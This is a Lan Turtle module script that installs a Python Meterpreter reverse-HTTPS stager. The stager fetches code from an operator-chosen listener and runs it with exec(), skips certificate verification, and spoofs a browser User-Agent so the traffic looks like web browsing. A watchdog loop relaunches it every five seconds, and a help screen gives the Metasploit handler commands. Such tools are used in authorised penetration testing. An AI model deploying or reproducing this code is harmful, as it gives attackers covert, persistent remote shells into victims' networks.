lanturtle-modules/modules/meterpreter-https

#!/bin/bash /usr/lib/turtle/turtle_module

# Lan Turtle Meterpreter HTTPS
# By sn0wfa11 - https://github.com/sn0wfa11

VERSION="1.0"
DESCRIPTION="Metasploit HTTPS payload for more discrete shells. Uses the python/meterpreter/reverse_https payload. Network traffic looks like visiting an HTTPS website. For best traffic masking, use port 443 for the listener and proxychains or meterpreter port forwarding to send all other traffic through the session."
CONF=/tmp/meterpreter-https.form
AUTHOR=sn0wfa11

: ${DIALOG_OK=0}
: ${DIALOG_CANCEL=1}
: ${DIALOG_HELP=2}
: ${DIALOG_EXTRA=3}
: ${DIALOG_ESC=255}

function start {
  if [ -s /etc/config/meterpreter-https ]; then
    host=$(uci get meterpreter-https.host)
    port=$(uci get meterpreter-https.port)

    if [[ $host == "" ]]; then
      echo "Meterpreter HTTPS host is not set."
      exit 1
    fi

    if [[ $port == "" ]]; then
      echo "Meterpreter HTTPS port is not set."
      exit 1
    fi
    
    if [ ! -s /etc/turtle/meterpreter/met-https-shell ]; then
      echo -e "\nMeterpreter HTTPS shell script does not exist.\nSetting it up now...\n"
      create_shell
    fi

    if [ ! -s /etc/turtle/meterpreter/met-https-worker ]; then
      echo -e "\nMeterpreter HTTPS worker script does not exist.\nSetting it up now...\n"
      create_worker
    fi

    echo "Starting Meterpreter HTTPS to $host:$port"
    echo "/etc/turtle/meterpreter/met-https-worker &" | at now
    echo "Meterpreter HTTPS Started with PID:"
    pidof met-https-worker

  else
    echo "Meterpreter HTTPS not configured!"
  fi
}

function stop {
  echo "Stopping Meterpreter HTTPS"
  if pgrep -f met-https-worker > /dev/null; then kill $(pgrep -f met-https-worker); fi
}

function status {
  if ps | grep -w -q [/]etc/turtle/meterpreter/met-https-worker; then echo "1"; else echo "0"; fi
}

function configure {
  if [ -s /etc/config/meterpreter-https ]; then
      host=$(uci get meterpreter-https.host)
      port=$(uci get meterpreter-https.port)
  else
      touch /etc/config/meterpreter-https
  fi
  
  dialog --ok-label "Submit" \
    --help-button \
    --title "Meterpreter HTTPS Configuration" \
    --form "Python HTTPS Meterpreter (Metasploit Payload)\n\n\
Meterpreter HTTPS connects to the host and port you specify." 14 60 3\
    "Listen Host:"    1 1    "$host"    1 14 48 0 \
    "Listen Port:"    2 1    "$port"    2 14 48 0 \
  2>$CONF

  return=$?

  case $return in
    $DIALOG_OK)
      cat $CONF | { 
        read -r host
        read -r port
        uci set meterpreter-https.host="$host"
        uci set meterpreter-https.port="$port"
        uci commit meterpreter-https
        rm $CONF
        clear
      };;

    $DIALOG_HELP)
      dialog --title "Help" \
        --msgbox "\
Host - IP or Hostname of target meterpreter HTTPS listener\n\
Port - Port number of target meterpreter HTTPS listener\n \n\
use exploit/multi/handler               \n\
# Handles multiple meterpreter sessions\n \n\
set PAYLOAD python/meterpreter/reverse_https \n\
# Setting for reverse staged HTTPS meterpreter\n \n\
set SessionExpirationTimeout [time in seconds]   \n\
# Session timeout: Default is 604800 (1 Week) \n\
# Set to 0 for no expiration timeout   \n\
# Option is unique for http/https payloads\n \n\
set LHOST [host or ip]                  \n\
# Hostname or IP of listener\n \n\
set LPORT [port number]                 \n\
# Port of listener\n \n\
set ExitOnSession false                 \n\
# Let the exploit continue when meterpreter exists\n \n\
exploit -j                              \n\
# Make the exploit a backgroundable job\n \n\
sessions                                \n\
# Lists sessions\n \n\
sessions -i [number]                    \n\
# Interacts with session number\n \n\
" 20 74
      configure
      ;;
    $DIALOG_CANCEL)
      rm $CONF
      clear
      exit;;
    $DIALOG_ESC)
      clear;;
  esac
}

function create_shell {
  mkdir -p /etc/turtle/meterpreter
  cat << EOF > /etc/turtle/meterpreter/met-https-shell
#!/usr/bin/python

# Lan Turtle Meterpreter HTTPS Payload
# By sn0wfa11 - https://github.com/sn0wfa11

import sys, string, random, ssl, subprocess

HOST = subprocess.Popen("uci get meterpreter-https.host", shell=True, stdout=subprocess.PIPE).stdout.read()
HOST = HOST.replace("\n", "")
PORT = subprocess.Popen("uci get meterpreter-https.port", shell=True, stdout=subprocess.PIPE).stdout.read()
PORT = PORT.replace("\n", "")

# Generate a Metasploit https Handler Compatible Checksum for the URL
# Ported to this project from Veil-Evasion - https://github.com/Veil-Framework/Veil-Evasion
def get_url(host, port):
  check_sum = 80 # Python Checksum for MSF Payloads
  base = string.ascii_letters + string.digits
  for x in xrange(64):
    leng = random.randint(8, 60)
    uri = "".join(random.sample(base, leng))
    candidate = "".join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
    for char in candidate:
      if checksum8(uri + char) == check_sum:
        return "https://" + host + ":" + port + "/" + uri + char

# Helper for the Metasploit https Checksum Algorithm
def checksum8(string):
  return sum([ord(char) for char in string]) % 0x100

# Send Shell
# From the MSF python/meterpreter/reverse_https raw output.
vi=sys.version_info
ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=['build_opener','HTTPSHandler'])
hs=[]
if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):
  sc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)
  sc.check_hostname=False
  sc.verify_mode=ssl.CERT_NONE
  hs.append(ul.HTTPSHandler(0,sc))
o=ul.build_opener(*hs)
o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko')]
try:
  exec(o.open(get_url(HOST, PORT)).read())
except:
  print "Unable to connect."

EOF
  chmod +x /etc/turtle/meterpreter/met-https-shell
}

function create_worker {
  mkdir -p /etc/turtle/meterpreter
  cat << EOF > /etc/turtle/meterpreter/met-https-worker
#!/bin/bash

while [ 1 -eq 1 ]
do
  if ! pgrep -f met-https-shell > /dev/null; then /etc/turtle/meterpreter/met-https-shell; fi
  sleep 5
done
EOF
  chmod +x /etc/turtle/meterpreter/met-https-worker
}